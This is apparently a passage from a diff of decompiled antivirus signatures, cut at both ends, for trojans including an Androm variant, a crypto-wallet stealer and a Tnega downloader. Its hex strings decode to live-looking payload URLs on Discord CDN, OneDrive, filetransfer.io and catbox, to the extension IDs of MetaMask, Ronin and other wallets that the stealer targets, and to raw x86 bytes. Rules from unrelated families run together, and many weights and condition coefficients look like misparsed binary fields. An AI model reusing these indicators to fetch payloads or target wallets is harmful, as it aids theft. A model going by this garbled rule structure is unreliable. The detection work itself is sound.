00 78 00 72 00 64 00 6d 00 2e 00 70 00 6e 00 67 00 } //10 https://cdn.discordapp.com/attachments/913584216825028612/945053802975854632/Fyxrdm.png - $a_00_122 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 34 00 38 00 35 00 37 00 38 00 38 00 32 00 33 00 39 00 38 00 33 00 37 00 32 00 36 00 37 00 32 00 36 00 2f 00 39 00 35 00 32 00 38 00 35 00 34 00 38 00 34 00 36 00 39 00 37 00 35 00 39 00 33 00 30 00 34 00 36 00 38 00 2f 00 43 00 79 00 78 00 63 00 68 00 5f 00 56 00 73 00 6b 00 6b 00 64 00 6a 00 6a 00 69 00 2e 00 6a 00 70 00 67 00 } //10 https://cdn.discordapp.com/attachments/948578823983726726/952854846975930468/Cyxch_Vskkdjji.jpg - $a_00_123 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 35 00 33 00 31 00 38 00 31 00 37 00 34 00 38 00 30 00 36 00 30 00 31 00 31 00 39 00 30 00 34 00 30 00 2f 00 39 00 35 00 35 00 32 00 34 00 34 00 38 00 30 00 32 00 36 00 33 00 37 00 36 00 39 00 37 00 30 00 38 00 34 00 2f 00 71 00 77 00 65 00 72 00 74 00 79 00 2e 00 70 00 6e 00 67 00 } //10 https://cdn.discordapp.com/attachments/953181748060119040/955244802637697084/qwerty.png - $a_00_124 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 63 00 68 00 6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 35 00 32 00 38 00 32 00 32 00 32 00 38 00 30 00 34 00 37 00 34 00 34 00 37 00 36 00 35 00 38 00 35 00 2f 00 39 00 35 00 35 00 32 00 32 00 32 00 33 00 37 00 30 00 31 00 31 00 35 00 38 00 30 00 31 00 31 00 34 00 39 00 2f 00 4d 00 61 00 65 00 72 00 73 00 6b 00 5f 00 47 00 6c 00 6f 00 62 00 61 00 6c 00 5f 00 53 00 68 00 69 00 70 00 70 00 69 00 6e 00 67 00 73 00 5f 00 4c 00 6c 00 68 00 61 00 66 00 75 00 74 00 7a 00 2e 00 70 00 6e 00 67 00 } //10 https://cdn.discordapp.com/attachments/952822280474476585/955222370115801149/Maersk_Global_Shippings_Llhafutz.png - $a_00_125 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6f 00 6e 00 65 00 64 00 72 00 69 00 76 00 65 00 2e 00 6c 00 69 00 76 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 3f 00 72 00 65 00 73 00 69 00 64 00 3d 00 39 00 44 00 39 00 44 00 33 00 46 00 30 00 43 00 33 00 35 00 33 00 46 00 41 00 45 00 36 00 41 00 25 00 32 00 31 00 31 00 33 00 37 00 26 00 61 00 75 00 74 00 68 00 6b 00 65 00 79 00 3d 00 21 00 41 00 41 00 68 00 6e 00 66 00 69 00 58 00 58 00 79 00 43 00 4e 00 30 00 55 00 6f 00 6f 00 } //10 https://onedrive.live.com/download?resid=9D9D3F0C353FAE6A%21137&authkey=!AAhnfiXXyCN0Uoo - $a_00_126 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 2e 00 69 00 6f 00 2f 00 64 00 61 00 74 00 61 00 2d 00 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 2f 00 72 00 48 00 35 00 6c 00 44 00 33 00 78 00 79 00 } //10 http://filetransfer.io/data-package/rH5lD3xy - $a_00_127 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 73 00 2e 00 63 00 61 00 74 00 62 00 6f 00 78 00 2e 00 6d 00 6f 00 65 00 2f 00 6d 00 36 00 64 00 77 00 64 00 68 00 2e 00 77 00 61 00 76 00 } //10 https://files.catbox.moe/m6dwdh.wav - $a_01_128 = {2e 65 64 6f 6d 20 53 4f 44 20 6e 69 20 6e 75 72 20 65 62 20 74 6f 6e 6e 61 63 20 6d 61 72 67 6f 72 70 20 73 69 68 54 21 } //1 .edom SOD ni nur eb tonnac margorp sihT! - $a_00_129 = {2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 } //1 .Properties.Resources - $a_00_130 = {6e 00 6f 00 69 00 74 00 61 00 6c 00 73 00 6e 00 61 00 72 00 54 00 } //1 noitalsnarT - $a_01_131 = {44 6f 77 6e 6c 6f 61 64 44 61 74 61 } //1 DownloadData - $a_6f_132 = {00 0f 00 0f 00 0f 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6e 64 72 6f 6d 2e 53 49 42 21 4d 54 42 00 01 00 a9 02 b9 6c 00 00 00 ff d6 8b 55 90 01 01 b9 6c 00 00 00 88 82 64 05 00 00 ff d6 8b 4d 90 1b 00 88 81 65 05 00 00 b9 65 00 00 00 ff d6 8b 55 90 1b 00 b9 68 00 00 00 88 82 66 05 00 00 ff d6 8b 4d 90 1b 00 88 81 67 05 00 00 b9 73 00 } //0 - $a_d6_133 = {55 90 1b 00 b9 72 00 00 00 88 82 68 05 00 00 ff d6 8b 4d 90 1b 00 88 81 69 05 00 00 b9 65 00 00 00 ff d6 8b 55 90 1b 00 b9 77 00 00 00 88 82 6a 05 00 00 ff d6 8b 4d 90 1b 00 88 81 6b 05 00 00 b9 6f 00 00 00 ff d6 8b 55 90 1b 00 b9 70 00 00 00 88 82 6c 05 00 00 90 00 01 00 eb 02 b9 29 00 00 00 ff d6 8b 55 90 01 01 b9 27 00 00 00 88 02 ff d6 8b 4d 90 1b 00 88 41 01 b9 6b 00 00 00 ff d6 8b 55 90 1b 00 b9 6e 00 00 00 88 42 02 ff d6 8b 4d 90 1b 00 88 41 03 b9 6c 00 00 00 ff d6 8b 55 90 1b 00 b9 2e 00 00 00 88 42 04 ff d6 8b 4d 90 1b 00 88 41 05 b9 6c 00 00 00 ff d6 8b 55 90 1b 00 b9 65 00 00 00 88 42 06 ff d6 8b 4d 90 1b 00 88 41 07 b9 64 00 00 00 ff d6 8b 55 90 1b 00 b9 6f 00 00 00 88 42 08 ff d6 8b 4d 90 1b 00 88 41 09 b9 4d 00 00 00 ff d6 8b 55 90 1b 00 b9 } //0 - $a_ff_135 = {8b 4d 90 1b 00 88 41 0b b9 74 } //17032 - $a_1b_137 = {b9 61 00 00 00 88 42 0c ff d6 8b 4d 90 1b 00 88 41 0d b9 44 00 00 00 ff d6 8b 55 90 1b 00 b9 72 00 00 00 88 42 0e ff d6 8b 4d 90 00 01 00 ef 02 88 41 0f b9 65 00 00 00 ff d6 8b 55 90 01 01 b9 68 00 00 00 88 42 10 ff d6 8b 4d 90 1b 00 88 41 11 b9 63 00 00 00 ff d6 8b 55 90 1b 00 b9 74 00 00 00 88 42 12 ff d6 8b 4d 90 1b 00 88 41 13 b9 69 00 00 00 ff d6 8b 55 90 1b 00 b9 77 00 00 00 88 42 14 ff d6 8b 4d 90 1b 00 88 41 15 b9 53 00 } //21899 - $a_d6_138 = {55 90 1b 00 b9 5c 00 00 00 88 42 16 ff d6 8b 4d 90 1b 00 88 41 17 b9 61 00 00 00 ff d6 8b 55 90 1b 00 b9 74 00 00 00 88 42 18 ff d6 8b 4d 90 1b 00 88 41 19 b9 61 00 00 00 ff d6 8b 55 90 1b 00 b9 44 00 00 00 88 42 1a ff d6 8b 4d 90 1b 00 88 41 1b b9 70 00 00 00 ff d6 8b 55 90 1b 00 b9 70 00 00 00 88 42 1c ff d6 8b 4d 90 1b 00 88 41 1d b9 41 00 00 00 ff d6 8b 55 90 1b 00 b9 5c 00 00 00 88 42 1e ff d6 8b 4d 90 00 01 00 ef 02 88 41 1f b9 27 00 00 00 ff d6 8b 55 90 01 01 b9 2b 00 00 00 88 42 20 ff d6 8b 4d 90 1b 00 88 41 21 b9 65 00 00 00 ff d6 8b 55 90 1b 00 b9 6c 00 00 00 88 42 22 ff d6 8b 4d 90 1b 00 88 41 23 b9 69 00 00 00 ff d6 8b 55 90 1b 00 b9 66 00 00 00 88 42 24 ff d6 8b 4d 90 1b 00 88 41 25 b9 6f 00 00 00 ff d6 8b 55 90 1b 00 b9 72 00 00 00 88 42 26 } //0 - $a_4d_139 = {1b 00 88 41 27 b9 50 00 00 00 ff d6 8b 55 90 1b 00 b9 72 00 00 00 88 42 28 ff d6 8b 4d 90 1b 00 88 41 29 b9 65 00 00 00 ff d6 8b 55 90 1b 00 b9 73 00 00 00 88 42 2a ff d6 8b 4d 90 1b 00 88 41 2b b9 55 00 00 00 ff d6 8b 55 90 1b 00 b9 3a 00 00 00 88 42 2c ff d6 8b 4d 90 1b 00 88 41 2d b9 76 00 00 00 ff d6 8b 55 90 1b 00 b9 6e 00 00 00 88 42 2e ff d6 8b 4d 90 00 01 00 d7 02 88 41 2f b9 65 00 00 00 ff d6 8b 55 90 01 } //-10497 + $a_2d_88 = {00 06 00 06 00 5a 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 6f 53 74 65 61 6c 7a 2e 5a 21 4d 54 42 00 01 00 20 01 49 62 6e 65 6a 64 66 6a 6d 6d 6b 70 63 6e 6c 70 65 62 6b 6c 6d 6e 6b 6f 65 6f 69 68 6f 66 65 63 01 00 20 01 66 68 62 6f 68 69 6d 61 65 6c 62 6f 68 70 6a 62 62 6c 64 63 6e 67 63 6e 61 70 6e 64 6f 64 6a 70 01 00 20 } //0 + $a_6e_89 = {65 6c 66 64 6f 65 69 6f 68 65 6e 6b 6a 69 62 6e 6d 61 64 6a 69 65 68 6a 68 61 6a 62 01 00 20 01 6a 62 64 61 6f 63 6e 65 69 69 69 6e 6d 6a 62 6a 6c 67 61 6c 68 63 65 6c 67 62 65 6a 6d 6e 69 64 01 00 20 01 61 66 62 63 62 6a 70 62 70 66 61 64 6c 6b 6d 68 6d 63 6c 68 6b 65 65 6f 64 6d 61 6d 63 66 6c 63 01 00 } //26113 + $a_6e_90 = {61 6e 6b 6e 6f 63 66 65 6f 66 62 64 64 67 63 69 6a 6e 6d 68 6e 66 6e 6b 64 6e 61 61 64 01 00 20 01 68 70 67 6c 66 68 67 66 6e 68 62 67 70 6a 64 65 6e 6a 67 6d 64 67 6f 65 69 61 70 70 61 66 6c 6e 01 00 20 01 62 6c 6e 69 65 69 69 66 66 62 6f 69 6c 6c 6b 6e 6a 6e 65 70 6f 67 6a 68 6b 67 6e 6f 61 70 61 63 01 00 20 } //288 + $a_65_91 = {66 70 6c 70 6c 65 62 64 6a 6a 65 6e 6c 6c 70 6a 63 62 6c 6d 6a 6b 66 63 66 66 6e 65 01 00 20 01 66 69 68 6b 61 6b 66 6f 62 6b 6d 6b 6a 6f 6a 70 63 68 70 66 67 63 6d 68 66 6a 6e 6d 6e 66 70 69 01 00 20 01 6b 6e 63 63 68 64 69 67 6f 62 67 68 65 6e 62 62 61 64 64 6f 6a 6a 6e 6e 61 6f 67 66 70 70 66 6a 01 00 20 01 61 6d } //25345 + $a_6a_92 = {6d 66 6c 64 64 6f 67 6d 68 70 6a 6c 6f 69 6d 69 70 62 6f 66 6e 66 6a 69 68 01 00 20 01 6e 6c 62 6d 6e 6e 69 6a 63 6e 6c 65 67 6b 6a 6a 70 63 66 6a 63 6c 6d 63 66 67 67 66 65 66 64 6d 01 00 20 01 6e 61 6e 6a 6d 64 6b 6e 68 6b 69 6e 69 66 6e 6b 67 64 63 67 67 63 66 6e 68 64 61 61 6d 6d 6d 6a 01 00 20 01 6e 6b 64 64 67 } //28011 + $a_6a_93 = {6a 66 63 64 64 61 6d 66 67 63 6d 66 6e 6c 68 63 63 6e 69 6d 69 67 01 00 20 01 66 6e 6a 68 6d 6b 68 68 6d 6b 62 6a 6b 6b 61 62 6e 64 63 6e 6e 6f 67 61 67 6f 67 62 6e 65 65 63 01 00 20 01 63 70 68 68 6c 67 6d 67 61 6d 65 6f 64 6e 68 6b 6a 64 6d 6b 70 61 6e 6c 65 6c 6e 6c 6f 68 61 6f 01 00 20 01 6e 68 } //25454 + $a_6b_94 = {6a 69 6b 67 63 69 67 61 64 6f 6d 6b 70 68 61 6c 61 6e 6e 64 63 61 70 6a 6b 01 00 20 01 6b 70 66 6f 70 6b 65 6c 6d 61 70 63 6f 69 70 65 6d 66 65 6e 64 6d 64 63 67 68 6e 65 67 69 6d 6e 01 00 20 01 61 69 69 66 62 6e 62 66 6f 62 70 6d 65 65 6b 69 70 68 65 65 69 6a 69 6d 64 70 6e 6c 70 67 70 70 01 } //27502 + $a_64_95 = {6b } //8192 k + $a_6b_96 = {6f 67 6b 67 63 64 66 68 68 62 64 64 63 67 68 61 63 68 6b 65 6a 65 61 70 01 00 20 01 66 68 6d 66 65 6e 64 67 64 6f 63 6d 63 62 6d 66 69 6b 64 63 6f 67 6f 66 70 68 69 6d 6e 6b 6e 6f 01 00 20 01 63 6e 6d 61 6d 61 61 63 68 70 70 6e 6b 6a 67 6e 69 6c 64 70 64 6d 6b 61 61 6b 65 6a 6e 68 61 65 01 00 20 } //28001 + $a_6a_97 = {66 65 6f 65 64 6b 70 6b 67 6c 62 66 69 6d 64 66 61 62 70 64 66 6a 61 6f 6f 6c 61 66 01 00 20 01 66 6c 70 69 63 69 69 6c 65 6d 67 68 62 6d 66 61 6c 69 63 61 6a 6f 6f 6c 68 6b 6b 65 6e 66 65 6c 01 00 20 01 6e 6b 6e 68 69 65 68 6c 6b 6c 69 70 70 61 66 61 6b 61 65 6b 6c 62 65 67 6c 65 63 69 66 68 61 64 01 00 20 01 68 63 66 6c 70 69 6e } //27137 + $a_70_98 = {63 6c 69 6e 65 61 6c 6d 61 6e 64 69 6a 63 6d 6e 6b 62 67 6e 01 00 20 01 6f 6f 6b 6a 6c 62 6b 69 69 6a 69 6e 68 70 6d 6e 6a 66 66 63 6f 66 6a 6f 6e 62 66 62 67 61 6f 63 01 00 20 01 6d 6e 66 69 66 65 66 6b 61 6a 67 6f 66 6b 63 6a 6b 65 6d 69 64 69 61 65 63 6f 63 6e 6b 6a 65 68 01 00 20 01 6c 6f 64 63 63 6a 6a 62 64 68 66 61 6b 61 65 6b } //28771 + $a_68_99 = {65 64 66 62 69 65 6c 64 67 69 6b 01 00 20 01 49 6a 6d 70 67 6b 6a 66 6b 62 66 68 6f 65 62 67 6f 67 66 6c 66 65 62 6e 6d 65 6a 6d 66 62 6d 6c 01 00 20 01 6c 6b 63 6a 6c 6e 6a 66 70 62 69 6b 6d 63 6d 62 61 63 68 6a 70 64 62 69 6a 65 6a 66 6c 70 63 6d 01 00 20 01 6e 6b 62 69 68 66 62 65 6f 67 } //26980 + $a_6f_100 = {68 6c 65 66 6e 6b 6f 64 62 65 66 67 70 67 6b 6e 6e 01 00 20 01 62 63 6f 70 67 63 68 68 6f 6a 6d 67 67 6d 66 66 69 6c 70 6c 6d 62 64 69 63 67 61 69 68 6c 6b 70 01 00 20 01 6b 6c 6e 61 65 6a 6a 67 62 69 62 6d 68 6c 65 70 68 6e 68 70 6d 61 6f 66 6f 68 67 6b 70 67 6b 64 01 00 20 01 61 65 61 63 } //25953 + $a_6d_101 = {66 70 68 65 70 63 63 69 6f 6e 62 6f 6f 68 63 6b 6f 6e 6f 65 65 6d 67 01 00 20 01 64 6b 64 65 64 6c 70 67 64 6d 6d 6b 6b 66 6a 61 62 66 66 65 67 61 6e 69 65 61 6d 66 6b 6c 6b 6d 01 00 20 01 6e 6c 67 62 68 64 66 67 64 68 67 62 69 61 6d 66 64 66 6d 62 69 6b 63 64 67 68 69 64 6f 61 64 64 01 00 20 01 6f 6e 6f 66 70 6e 62 62 6b 65 68 } //27496 + $a_6f_102 = {62 67 70 63 70 6d 69 67 61 66 6d 6d 6e 6a 68 6c 01 00 20 01 63 69 68 6d 6f 61 64 61 69 67 68 63 65 6a 6f 70 61 6d 6d 66 62 6d 64 64 63 6d 64 65 6b 63 6a 65 01 00 20 01 63 67 65 65 6f 64 70 66 61 67 6a 63 65 65 66 69 65 66 6c 6d 64 66 70 68 70 6c 6b 65 6e 6c 66 6b 01 00 20 01 70 64 61 64 6a 6b 66 6b 67 63 61 66 67 62 63 65 69 } //28016 + $a_62_103 = {61 6c 6e 66 6e 65 70 62 6e 6b 01 00 20 01 61 63 6d 61 63 6f 64 6b 6a 62 64 67 6d 6f 6c 65 65 62 6f 6c 6d 64 6a 6f 6e 69 6c 6b 64 62 63 68 01 00 20 01 62 66 6e 61 65 6c 6d 6f 6d 65 69 6d 68 6c 70 6d 67 6a 6e 6a 6f 70 68 68 70 6b 6b 6f 6c 6a 70 61 01 00 20 01 66 68 69 6c 61 68 65 69 6d 67 6c 69 67 6e 64 64 6b 6a 67 6f 66 6b 63 62 67 65 } //25453 + $a_6e_104 = {68 01 00 20 01 6d 67 66 66 6b 66 62 69 64 69 68 6a 70 6f 61 6f 6d 61 6a 6c 62 67 63 68 64 64 6c 69 63 67 70 6e 01 00 20 01 68 6d 65 6f 62 6e 66 6e 66 63 6d 64 6b 64 63 6d 6c 62 6c 67 61 67 6d 66 70 66 62 6f 69 65 61 66 01 00 20 01 6c 70 66 63 62 6a 6b 6e 69 6a 70 65 65 69 6c 6c 69 66 6e 6b 69 6b 67 6e } //26731 + $a_67_105 = {68 64 6f 01 00 20 01 64 6e 67 6d 6c 62 6c 63 6f 64 66 6f 62 70 64 70 65 63 61 61 64 67 66 62 63 67 67 66 6a 66 6e 6d 01 00 20 01 62 68 68 68 6c 62 65 70 64 6b 62 61 70 61 64 6a 64 6e 6e 6f 6a 6b 62 67 69 6f 69 6f 64 62 69 63 01 00 20 01 6a 6e 6b 65 6c 66 61 6e 6a 6b 65 61 64 6f 6e 65 63 61 62 65 68 61 6c 6d 62 67 70 66 } //26979 + $a_6d_106 = {00 20 01 6a 68 67 6e 62 6b 6b 69 70 61 61 6c 6c 70 65 68 62 6f 68 6a 6d 6b 62 6a 6f 66 6a 64 6d 65 69 64 01 00 20 01 6a 6e 6c 67 61 6d 65 63 62 70 6d 62 61 6a 6a 66 68 6d 6d 6d 6c 68 65 6a 6b 65 6d 65 6a 64 6d 61 01 00 20 01 6b 6b 70 6c 6c 6b 6f 64 6a 65 6c 6f 69 64 69 65 65 64 6f 6a 6f 67 61 63 66 68 70 61 69 68 6f } //25711 + $a_68_108 = {6c 6e 63 62 66 61 68 62 6d 67 64 6a 6b 62 70 65 6d 63 63 69 69 6f 6c 67 63 67 65 01 00 20 01 67 6a 61 67 6d 67 69 64 64 62 62 63 69 6f 70 6a 68 6c 6c 6b 64 6e 64 64 68 63 67 6c 6e 65 6d 6b 01 00 20 01 6b 6d 68 63 69 68 70 65 62 66 6d 70 67 6d 69 68 62 6b 69 70 6d 6a 6c 6d 6d 69 6f 61 6d 65 6b 61 01 00 20 01 70 68 6b 62 61 6d 65 66 } //25453 + $a_67_109 = {61 6b 67 6b 6c 70 6b 6c 6a 6a 6d 67 69 62 6f 68 6e 62 61 01 00 20 01 6c 70 69 6c 62 6e 69 69 61 62 61 63 6b 64 6a 63 69 6f 6e 6b 6f 62 67 6c 6d 64 64 66 62 63 6a 6f 01 00 20 01 63 6a 6d 6b 6e 64 6a 68 6e 61 67 63 66 62 70 69 65 6d 6e 6b 64 70 6f 6d 63 63 6e 6a 62 6c 6d 6a 01 00 2a 01 7b 35 33 30 66 37 63 36 } //28265 + $a_30_110 = {37 2d 34 37 30 33 2d 38 66 37 31 2d 63 62 33 36 38 63 36 36 33 65 33 35 7d 2e 78 70 69 01 00 21 01 72 6f 6e 69 6e 2d 77 61 6c 6c 65 74 40 61 78 69 65 69 6e 66 69 } //11619 + $a_79_111 = {63 6f 6d 2e 78 70 69 01 00 1c 01 77 65 62 65 78 74 65 6e 73 69 6f 6e 40 6d 65 74 61 6d 61 73 6b 2e 69 6f 2e 78 70 69 01 00 2a 01 7b 35 37 39 39 64 39 62 36 2d 38 33 34 33 2d 34 63 32 36 2d 39 61 62 36 2d 35 64 32 61 64 33 39 38 38 34 63 65 7d 2e 78 70 69 01 00 2a 01 7b 61 61 38 31 32 62 65 65 2d 39 65 39 32 2d 34 38 62 61 2d 39 35 37 30 2d 35 66 } //26990 + $a_63_112 = {65 32 35 37 38 7d 2e 78 70 69 01 00 2a 01 7b 35 39 65 61 35 66 32 39 2d 36 65 61 39 2d 34 30 62 35 2d 38 33 63 64 2d 39 33 37 32 34 39 62 30 30 } //26209 + $a_7d_113 = {78 70 69 01 00 2a 01 7b 64 38 64 64 66 63 32 61 2d 39 37 64 39 2d 34 63 36 30 2d 38 62 35 33 2d 35 65 64 64 32 39 39 62 36 36 37 34 7d 2e 78 70 69 } //25905 + $a_01_114 = {7b 37 63 34 32 65 65 61 31 2d 62 33 65 34 2d 34 62 65 34 2d 61 35 36 66 2d 38 32 61 35 38 35 32 62 31 32 64 63 7d 2e 78 70 69 } //1 {7c42eea1-b3e4-4be4-a56f-82a5852b12dc}.xpi + $a_01_115 = {7b 62 33 65 39 36 62 35 66 2d 62 35 62 66 2d 38 62 34 38 2d 38 34 36 62 2d 35 32 66 34 33 30 33 36 35 65 38 30 7d 2e 78 70 69 } //1 {b3e96b5f-b5bf-8b48-846b-52f430365e80}.xpi + $a_01_116 = {7b 65 62 31 66 62 35 37 62 2d 63 61 33 64 2d 34 36 32 34 2d 61 38 34 31 2d 37 32 38 66 64 62 32 38 34 35 35 66 7d 2e 78 70 69 } //1 {eb1fb57b-ca3d-4624-a841-728fdb28455f}.xpi + $a_01_117 = {7b 37 36 35 39 36 65 33 30 2d 65 63 64 62 2d 34 37 37 61 2d 39 31 66 64 2d 63 30 38 66 32 30 31 38 64 66 31 61 7d 2e 78 70 69 } //1 {76596e30-ecdb-477a-91fd-c08f2018df1a}.xpi + $a_01_118 = {65 6a 6a 6c 61 64 69 6e 6e 63 6b 64 67 6a 65 6d 65 6b 65 62 64 70 65 6f 6b 62 69 6b 68 66 63 69 } //1 ejjladinnckdgjemekebdpeokbikhfci + $a_01_119 = {62 67 70 69 70 69 6d 69 63 6b 65 61 64 6b 6a 6c 6b 6c 67 63 69 69 66 68 6e 61 6c 68 64 6a 68 65 } //1 bgpipimickeadkjlklgciifhnalhdjhe + $a_01_120 = {65 70 61 70 69 68 64 70 6c 61 6a 63 64 6e 6e 6b 64 65 69 61 68 6c 67 69 67 6f 66 6c 6f 69 62 67 } //1 epapihdplajcdnnkdeiahlgigofloibg + $a_01_121 = {61 68 6f 6c 70 66 64 69 61 6c 6a 67 6a 66 68 6f 6d 69 68 6b 6a 62 6d 67 6a 69 64 6c 63 64 6e 6f } //1 aholpfdialjgjfhomihkjbmgjidlcdno + $a_01_122 = {65 67 6a 69 64 6a 62 70 67 6c 69 63 68 64 63 6f 6e 64 62 63 62 64 6e 62 65 65 70 70 67 64 70 68 } //1 egjidjbpglichdcondbcbdnbeeppgdph + $a_01_123 = {70 6e 6e 64 70 6c 63 62 6b 61 6b 63 70 6c 6b 6a 6e 6f 6c 67 62 6b 64 67 6a 69 6b 6a 65 64 6e 6d } //1 pnndplcbkakcplkjnolgbkdgjikjednm + $a_01_124 = {67 6f 6a 68 63 64 67 63 70 62 70 66 69 67 63 61 65 6a 70 66 68 66 65 67 65 6b 64 67 69 62 6c 6b } //1 gojhcdgcpbpfigcaejpfhfegekdgiblk + $a_01_125 = {64 6a 63 6c 63 6b 6b 67 6c 65 63 68 6f 6f 62 6c 6e 67 67 68 64 69 6e 6d 65 65 6d 6b 62 67 63 69 } //1 djclckkglechooblngghdinmeemkbgci + $a_01_126 = {6a 6e 6d 62 6f 62 6a 6d 68 6c 6e 67 6f 65 66 61 69 6f 6a 66 6c 6a 63 6b 69 6c 68 68 6c 68 63 6a } //1 jnmbobjmhlngoefaiojfljckilhhlhcj + $a_01_127 = {6a 69 69 64 69 61 61 6c 69 68 6d 6d 68 64 64 6a 67 62 6e 62 67 64 66 66 6c 65 6c 6f 63 70 61 6b } //1 jiidiaalihmmhddjgbnbgdfflelocpak + $a_01_128 = {6b 6e 68 6b 65 6c 69 67 6b 66 6d 63 6c 67 6b 65 65 64 63 65 65 6e 70 6f 70 61 6c 65 6f 6b 66 68 } //1 knhkeligkfmclgkeedceenpopaleokfh + $a_01_129 = {61 67 6f 61 6b 66 65 6a 6a 61 62 6f 6d 65 6d 70 6b 6a 6c 65 70 64 66 6c 61 6c 65 65 6f 62 68 62 } //1 agoakfejjabomempkjlepdflaleeobhb + $a_01_130 = {6c 67 6d 70 63 70 67 6c 70 6e 67 64 6f 61 6c 62 67 65 6f 6c 64 65 61 6a 66 63 6c 6e 68 61 66 61 } //1 lgmpcpglpngdoalbgeoldeajfclnhafa + $a_01_131 = {6f 70 63 67 70 66 6d 69 70 69 64 62 67 70 65 6e 68 6d 61 6a 6f 61 6a 70 62 6f 62 70 70 64 69 6c } //1 opcgpfmipidbgpenhmajoajpbobppdil + $a_01_132 = {6e 70 68 70 6c 70 67 6f 61 6b 68 68 6a 63 68 6b 6b 68 6d 69 67 67 61 6b 69 6a 6e 6b 68 66 6e 64 } //1 nphplpgoakhhjchkkhmiggakijnkhfnd + $a_01_133 = {62 6b 6b 6c 69 66 6b 65 63 65 6d 63 63 65 64 70 6b 68 63 65 62 61 67 6a 70 65 68 68 61 62 66 62 } //1 bkklifkecemccedpkhcebagjpehhabfb + $a_01_134 = {65 61 6a 61 66 6f 6d 68 6d 6b 69 70 62 6a 6d 66 6d 68 65 62 65 6d 6f 6c 6b 63 69 63 67 66 6d 64 } //1 eajafomhmkipbjmfmhebemolkcicgfmd + $a_01_135 = {65 62 66 69 64 70 70 6c 68 61 62 65 65 64 70 6e 68 6a 6e 6f 62 67 68 6f 6b 70 69 69 6f 6f 6c 6a } //1 ebfidpplhabeedpnhjnobghokpiioolj + $a_01_136 = {6c 63 63 62 6f 68 68 67 66 6b 64 69 6b 61 68 61 6e 6f 63 6c 62 64 6d 61 6f 6c 69 64 6a 64 66 6c } //1 lccbohhgfkdikahanoclbdmaolidjdfl + $a_59_137 = {00 0b 00 0b 00 18 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 50 41 32 31 30 32 21 45 4d 4c 00 0a 00 ac 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 61 00 74 00 74 00 61 00 } //0 + $a_00_138 = {6d 00 65 00 6e 00 74 00 73 00 2f 00 39 00 33 00 33 00 39 00 33 00 33 00 34 00 37 00 31 00 30 00 39 00 35 00 37 00 33 00 38 00 33 00 39 00 39 00 2f 00 39 00 34 00 31 00 33 00 34 00 34 00 34 00 35 00 32 00 33 00 31 00 30 00 36 00 30 00 39 00 39 00 35 00 30 00 2f 00 43 00 68 00 77 00 79 00 66 00 2e 00 70 00 6e 00 } //99 ments/933933471095738399/941344452310609950/Chwyf.pn + $a_00_139 = {b2 00 68 00 74 00 74 00 70 00 } //103 condition: - ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-3712+(#a_33_2 & 1)*1536+(#a_01_3 & 1)*15302+(#a_c8_4 & 1)*261+(#a_13_5 & 1)*19638+(#a_90_6 & 1)*23808+(#a_00_7 & 1)*-19711+(#a_01_8 & 1)*-5760+(#a_ff_9 & 1)*-32241+(#a_01_10 & 1)*-18416+(#a_00_11 & 1)*-16253+(#a_01_12 & 1)*-28636+(#a_00_13 & 1)*144+(#a_f7_14 & 1)*-30207+(#a_01_15 & 1)*-28668+(#a_00_16 & 1)*3909+(#a_c7_17 & 1)*1162+(#a_90_18 & 1)*17800+(#a_00_19 & 1)*144+(#a_90_20 & 1)*-1796+(#a_f5_21 & 1)*-30205+(#a_8b_22 & 1)*17803+(#a_01_23 & 1)*-3343+(#a_01_24 & 1)*-3712+(#a_01_25 & 1)*-28547+(#a_01_26 & 1)*-28439+(#a_01_27 & 1)*912+(#a_0f_29 & 1)*4352+(#a_83_30 & 1)*400+(#a_44_31 & 1)*257+(#a_00_32 & 1)*-16000+(#a_90_33 & 1)*23944+(#a_00_34 & 1)*116+(#a_00_35 & 1)*56+(#a_00_36 & 1)*58+(#a_00_38 & 1)*120+(#a_68_40 & 1)*22528+(#a_00_42 & 1)*115+(#a_00_43 & 1)*98+(#a_00_44 & 1)*58+(#a_00_46 & 1)*100+(#a_00_48 & 1)*110+(#a_00_49 & 1)*114+(#a_00_51 & 1)*46+(#a_00_53 & 1)*116+(#a_00_54 & 1)*102+(#a_00_56 & 1)*55+(#a_00_57 & 1)*112+(#a_01_58 & 1)*10+(#a_01_59 & 1)*10+(#a_03_60 & 1)*10+(#a_03_61 & 1)*10+(#a_03_62 & 1)*10+(#a_03_63 & 1)*10+(#a_01_64 